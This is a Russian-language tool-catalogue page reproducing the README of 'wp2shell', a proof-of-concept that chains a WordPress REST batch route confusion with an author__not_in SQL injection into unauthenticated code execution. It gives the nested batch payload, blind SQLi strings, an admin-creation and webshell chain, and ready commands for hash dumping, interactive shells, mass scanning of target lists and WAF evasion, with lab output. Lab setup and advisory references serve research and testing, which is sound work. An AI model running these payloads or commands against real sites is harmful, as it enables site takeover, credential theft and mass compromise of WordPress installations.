Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 - «wp2shell»: RCE без аутентификации в ядре WordPress | Kitploit
Инструменты/GitHubGitHub/0xsha/wp2shell
Взлом паролейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed TeamingРазработка Полезной НагрузкиЛаборатории и Практика
GitHub0xsha/wp2shell
96301 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

wp2shell

CVE-2026-63030 + CVE-2026-60137 - «wp2shell»: RCE без аутентификации в ядре WordPress

Репозиторий

CVE-2026-63030 + CVE-2026-60137 - «wp2shell»: неаутентифицированный RCE в ядре WordPress

REST API путаница маршрутов (batch route confusion) (CVE-2026-63030) в связке с SQL-инъекцией author__not_in в WP_Query (CVE-2026-60137) → удалённое выполнение кода без аутентификации на стандартной установке WordPress.

Обнаружено Адамом Кьюсом (Assetnote / Searchlight Cyber), раскрыто 2026-07-17. Бюллетени: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.

Цепочка (RCE без аутентификации)WordPress 6.9.0 - 6.9.4 и 7.0.0 - 7.0.1
Только SQLi (требуется вспомогательный плагин/тема)6.8.0 - 6.8.5
Не затронуты≤ 6.8 для batch confusion; 6.9.5 / 7.0.2 / 7.1-beta2 (исправлено)
ПредусловияREST API доступен; нет постоянного объектного кэша (Redis/Memcached); ≥1 опубликованная запись
Требуется аутентификациянет
Воздействиебез аутентификации → создание нового администратора → выполнение кода (SQLi также извлекает хэш администратора)

Демо

https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6

Что добавляет этот репозиторий

  • Оригинальный инструмент на одной только стандартной библиотеке (wp2shell.py), объединяющий лучшее из шести публичных PoC в одном файле — без зависимости от requests и без неработающих функций.
  • Полный RCE без взлома паролей, проверенный от начала до конца в лаборатории: shell без учётных данных создаёт поддельный WP_Post через UNION-путаницу одиночной записи, использует кастомайзер для создания свежего администратора (POST /wp/v2/users), выполняет вход и размещает веб-шелл, защищённый токеном. SQLi-дамп хэша администратора (read --preset users) сохранён как второй проверенный путь.
  • Независимый от версии детектор путаницы (block_cannot_read), используемый как основной неразрушающий check.
  • Продакшен-транспорт в каждой команде: самоподписанный TLS, произвольные заголовки, произвольный User-Agent, прокси, повторы, задержка запросов.
  • Проверенный путь 6.8.x «facilitated-SQLi» (sqli), которого нет в остальных PoC.
  • Воспроизводимые Docker-лаборатории плюс матрица надёжности по версиям и СУБД — каждый результат проверен в лаборатории.
  • Режим hashcat для нового хэша пароля $wp$2y$ (-m 35500).
root@kitploit:~
wp2shell/
├── README.md              ← you are here
├── wp2shell.py            ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/                   ← reproducible Docker labs + reliability matrix
    ├── docker-compose.yml         (default 6.9.4 lab)
    ├── docker-compose.matrix.yml  (parameterised: any version × MySQL/MariaDB)
    ├── docker-compose.sqli.yml    (6.8.3 "SQLi only" lab)
    ├── matrix.sh                  (runs the whole reliability matrix)
    └── sqli-only/facilitator.php  (mu-plugin: the 6.8.x facilitating sink)

Шесть публичных PoC, на которые опирается этот инструмент, не включены в репозиторий; на них есть ссылки в разделе Благодарности.

Всё нижеописанное проверено в локальной Docker-лаборатории (см. §4); утверждения, которые не запускались в лаборатории, помечены как таковые.


1. Детали уязвимости - глубокий разбор кода

Цепочка связывает две независимые ошибки. Номера строк — по реальному исходному коду WordPress 6.9.4 (извлечённому из wordpress:6.9.4-apache).

Ошибка A - SQL-инъекция author__not_in (CVE-2026-60137)

wp-includes/class-wp-query.php, WP_Query::get_posts():

root@kitploit:~
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← guard only fires for ARRAYS
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← string passes straight through
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← raw interpolation
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint INSIDE implode

Строковое значение author__not_in пропускает проверку is_array() (2404); implode(',', (array)"…") возвращает его без изменений (2408), и оно попадает в SQL сырой конкатенацией (2409). Соседний author__in (2415) повторно применяет array_map('absint', …) внутри implode и безопасен — один отсутствующий array_map и есть ошибка. Значение оказывается в ... post_author NOT IN (<value>) ..., поэтому 0) <sql>-- - закрывает список и дописывает SQL.

Сложность в том, чтобы передать туда строку: REST-эндпоинт записей маппит author_exclude → author__not_in (class-wp-rest-posts-controller.php:247), но объявляет его 'type' => 'array' целых чисел, поэтому ядро приводит строку к другому типу/отклоняет её:

root@kitploit:~
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer."      (verified on 6.8.3)

Именно поэтому ошибка A сама по себе — лишь «опосредованная» (facilitated, требует вспомогательного плагина/темы). Ошибка B протаскивает строку мимо валидации начиная с 6.9+.

Ошибка B - путаница маршрутов REST batch (CVE-2026-63030)

wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():

root@kitploit:~
1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // a bad path becomes a WP_Error IN $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← pushed to $validation …
1753          continue;                            // ← … but $matches is SKIPPED
1754      }
1757      $matches[] = $match;                     // ← $matches only grows for VALID requests

1825  foreach ( $requests as $i => $single_request ) {   // indexed by position in $requests
1841      $match = $matches[ $i ];                        // ← $matches is SHORTER → +1 shift
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );

Подзапрос WP_Error попадает в $validation[] (1752), но не в $matches[] (continue на строке 1753 пропускает 1757), поэтому $matches оказывается короче, и $matches[$i] (1841) содержит обработчик следующего запроса. Запрос i диспетчеризуется с обработчиком запроса i+1, сохраняя собственные параметры и собственный (пройденный) вердикт валидации.

Происхождение регрессии (проверено по диффу 6.8.3 → 6.9.4): в 6.8.3 цикл добавляет $matches[] = $match для каждого запроса, а битые пути отбрасываются в первом цикле — массивы остаются выровненными, рассинхронизации нет. Рефакторинг в 6.9.0 ввёл сдвиг. Именно поэтому 6.8.x — это «только SQLi», а цепочка RCE начинается с 6.9.0.

Документированное исправление (6.9.5 / 7.0.2)

Патч добавляет $matches[] и для ошибочных записей, ужесточает защиту от повторного входа (re-entrancy) и разбирает author__not_in с помощью хелпера для списка идентификаторов. (6.9.5 не было на Docker Hub на момент тестирования, поэтому это взято из бюллетеней, а не из лабораторного диффа.)


2. Метод эксплуатации

2.1 Двойная путаница маршрутов

Схема batch допускает только подзапросы POST/PUT/PATCH/DELETE, но get_items записей (приёмник author_exclude) доступен только через GET, поэтому путаница вкладывается дважды:

root@kitploit:~
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] bad path → WP_Error → +1 shift
  {"method":"POST","path":"/wp/v2/posts",               // [1] carrier: validated as a posts CREATE →
     "body": { /* INNER batch */ }},                     //     its `requests` body is never schema-checked
  {"method":"POST","path":"/batch/v1",                  // [2] handler → [1] dispatched as serve_batch_request_v1
     "body":{"requests":[]}}                             //     (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
//   [0] POST ///                                        WP_Error → inner +1 shift
//   [1] GET /wp/v2/users?author_exclude=<PAYLOAD>       users has no author_exclude → PAYLOAD passes untouched
//   [2] GET /wp/v2/posts                                [2]'s handler = posts get_items → runs [1] → SQLi

/// — это инициатор рассинхронизации (подойдёт любой путь, который отклоняет wp_parse_url()). Инструмент также содержит версию того же трюка с --variant categories.

2.2 Обнаружение путаницы без SQLi

Один неразрушающий, независимый от версии зонд подтверждает CVE-2026-63030, даже когда приёмник SQLi закрыт объектным кэшем или фильтром WAF: batch из POST-подзапросов, где рассинхронизация заставляет POST /wp/v2/posts отвечать колбэком прав доступа блок-рендерера:

root@kitploit:~
responses[1].code == "block_cannot_read"    ← a permission error from a handler it never asked for

wp2shell.py check использует это как основной сигнал (структурная форма «запись против термина» — как запасной вариант). (Техника обнаружения: Hadrian / Icex0.)

2.3 От инъекции к данным (blind)

Значение находится внутри NOT IN (<value>) — это чистый булев оракул: 0) AND (<cond>)-- - возвращает строки тогда и только тогда, когда <cond> истинно. Извлечение — посимвольный бинарный поиск по ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (COALESCE не даёт NULL закоротить чтение в пустоту).

Замечание из лаборатории - time-based требует аккуратности. Наивный 0) OR SLEEP(n)-- - не даёт никакой задержки на стандартной установке: опубликованные строки удовлетворяют условию первыми и замыкают OR. Подтверждение — детерминированная булева дифференциальная проверка; тайминг использует 0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Наблюдалось 0.01s против 3.04s.

2.4 От инъекции к шеллу (RCE) - без взлома паролей

Практическому RCE не нужен ни пароль, ни взлом. shell без учётных данных выполняет всю цепочку, полностью проверенную в лаборатории:

  1. Примитив поддельного WP_Post. Второй вариант путаницы достигает чистого, пригодного для UNION запроса: /wp/v2/posts/999999?orderby=none&per_page=500 валидируется по схеме одиночной записи (поэтому параметры, предназначенные только для коллекций, проходят без проверки), затем рассинхронизируется на обработчик коллекции записей. orderby=none убирает завершающий ORDER BY, а per_page=500 удерживает WP_Query в режиме полных строк — так UNION SELECT выживает как сфабрикованная строка wp_posts.
  2. Мост от SQLi к кастомайзеру. Подделываем строки oembed_cache + customize_changeset (его user_id выставляется в ID существующего администратора, полученный через UNION) + nav_menu_item. Запуск oEmbed заставляет changeset кастомайзера выполниться .

Более старая альтернатива (--user/--password). read --preset users дампит wp_users.user_pass ($wp$2y$… в WordPress 6.9 = bcrypt поверх HMAC-SHA384; взлом — hashcat -m 35500), затем shell --user/--password входит с восстановленным открытым текстом. Работает, но bcrypt делает это медленным, поэтому цепочка создания администратора выше — канонический путь.

2.5 Путь 6.8.x «только SQLi»

В 6.8.x есть ошибка A, но нет ошибки B, а ядро приводит author_exclude к массиву целых, поэтому SQLi достижима только через вспомогательный плагин/тему, которые передают WP_Query сырую строку. Подкоманда sqli инжектит прямо в такой приёмник (time-based по умолчанию; быстрый boolean с --true-contains). Продемонстрировано против facilitator из lab/sqli-only на 6.8.3.


3. Использование

3.1 Унифицированный PoC - wp2shell.py

Один файл, Python 3.7+, только стандартная библиотека. Продакшен-транспорт в каждой команде: --insecure (самоподписанный TLS), -H 'K: V' (повторяемый), --user-agent, --proxy, --retries, --delay.

root@kitploit:~
check   fingerprint + confusion marker + confirm the SQLi (non-destructive)
read    read the DB via blind SQLi     (--preset fingerprint|users | --query "SELECT …")
shell   RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli    author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan    threaded vuln-check over a single URL OR a .txt list   (--prove, --json)
root@kitploit:~
./wp2shell.py check https://target
./wp2shell.py read  https://target --preset users            # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read  https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id                  # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i                        # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id   # or reuse an existing admin
./wp2shell.py scan  https://target --prove                   # single URL, extract @@version as proof
./wp2shell.py scan  targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli  https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES

# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2

3.2 Лаборатория

root@kitploit:~
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli      # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v

bash lab/matrix.sh                                           # full version × DB matrix

# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
     --param author_not_in --true-contains ROWS:YES --preset fingerprint

Администратор лаборатории — admin / Admin!2345. Открытый текст известен только для того, чтобы лаборатория могла показать shell после аутентификации; реальный злоумышленник восстанавливает хэш и взламывает его.


4. Матрица версий и СУБД - что мы реально тестировали

Область СУБД ограничена MySQL и MariaDB — ядро WordPress в продакшене не работает ни с каким другим движком (нет драйвера PostgreSQL/MSSQL; SQLite — только через редкий плагин).

Каждая команда проверялась в лаборатории: check (маркер block_cannot_read + boolean + time), read (fingerprint / users / --query), shell (без взлома: create-admin → вход → веб-шелл → uid=33(www-data), плюс --user/--password и интерактивный REPL), sqli (boolean + time), scan (одиночный URL + .txt

  • --json + --prove), payload --variant categories, автоопределение эндпоинта (/wp-json/ + ?rest_route=) и флаги транспорта.
root@kitploit:~
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.

$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with:  hashcat -m 35500 …

$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!...  (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. Благодарности

  • Исследование и раскрытие уязвимости: Адам Кьюс (Adam Kues) - Assetnote / Searchlight Cyber («wp2shell»), 2026-07-17.
  • Бюллетени: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf. Разборы: Rapid7, Beazley Labs, Hadrian (идея детекта block_cannot_read), VulnCheck.
  • Авторство техник (каждая переписана с нуля в wp2shell.py, без дословного копирования кода):
    • attackercan/wp2shell-poc2 — проверенная основа вложенной двойной путаницы, blind-экстрактор, веб-шелл с токеном + REPL.
    • sergiointel/wp2shell-poc — техника создания администратора без аутентификации и без взлома: подделка WP_Post через путаницу маршрутов одиночной записи, построение графа oembed_cache + customize_changeset (user_id=admin) + nav_menu_item, чтобы кастомайзер выполнялся от имени существующего администратора, затем для создания нового администратора.

Правовые аспекты / авторизованное использование

Только для авторизованного тестирования безопасности и обучения — системы, которыми вы владеете или на которые у вас есть письменное разрешение. Вся эксплуатация здесь выполнялась в локальной одноразовой Docker-лаборатории; веб-шелл защищён токеном, а команда по умолчанию безвредна. Ответственность за использование лежит на вас.

Скачать инструмент
от имени этого администратора
  • Создание свежего администратора. В том же batch-запросе POST /wp/v2/users с roles:["administrator"] теперь выполняется в заимствованном контексте администратора, и в wp_users появляется новый администратор wp2_* (проверено: новая строка администратора).
  • Вход + веб-шелл. Аутентифицируемся сгенерированными учётными данными, загружаем защищённый токеном плагин через update.php?action=upload-plugin, выполняем команды. Проверено: uid=33(www-data).
  • WordPressСУБДПутьcheckИзвлечённые данные
    6.9.4MariaDB 11batch-цепочка✅ полный RCEхэш admin $wp$2y$… + @@version
    7.0.1MariaDB 11batch-цепочка✅ полный RCEхэш admin
    6.9.4MySQL 8.4batch-цепочка✅ полный RCEхэш admin (payloads переносимы)
    6.8.3MariaDB 11batch-цепочка⛔ 207, но без путаницы- (соответствует бюллетеню)
    6.8.3MariaDB 11facilitated sqli✅ CVE-2026-60137@@version, user, db - boolean и time-based
    POST /wp/v2/users
  • Icex0/wp2shell-poc — реализация этой цепочки, которую я адаптировал (путаница одиночной записи union_inject, UnionSQLi, PreAuthAdminCreator), детектор маркера block_cannot_read, NULL-безопасное извлечение через COALESCE и тайминг, устойчивый к джиттеру.
  • Senanfurkan/wordpress-cve-2026-63030 — fingerprint/классификация версий и структурный тест путаницы маршрутов.
  • Lutfifakee-Project/wp2shell — массовое сканирование.
  • NULL200OK/WP2Shell — JSON-отчётность.
  • ekomsSavior/wp2shell — вдохновение для интерактивного UX.
  • Режим взлома хэшей ($wp$2y$ → hashcat -m 35500): hashpwn / hashcat.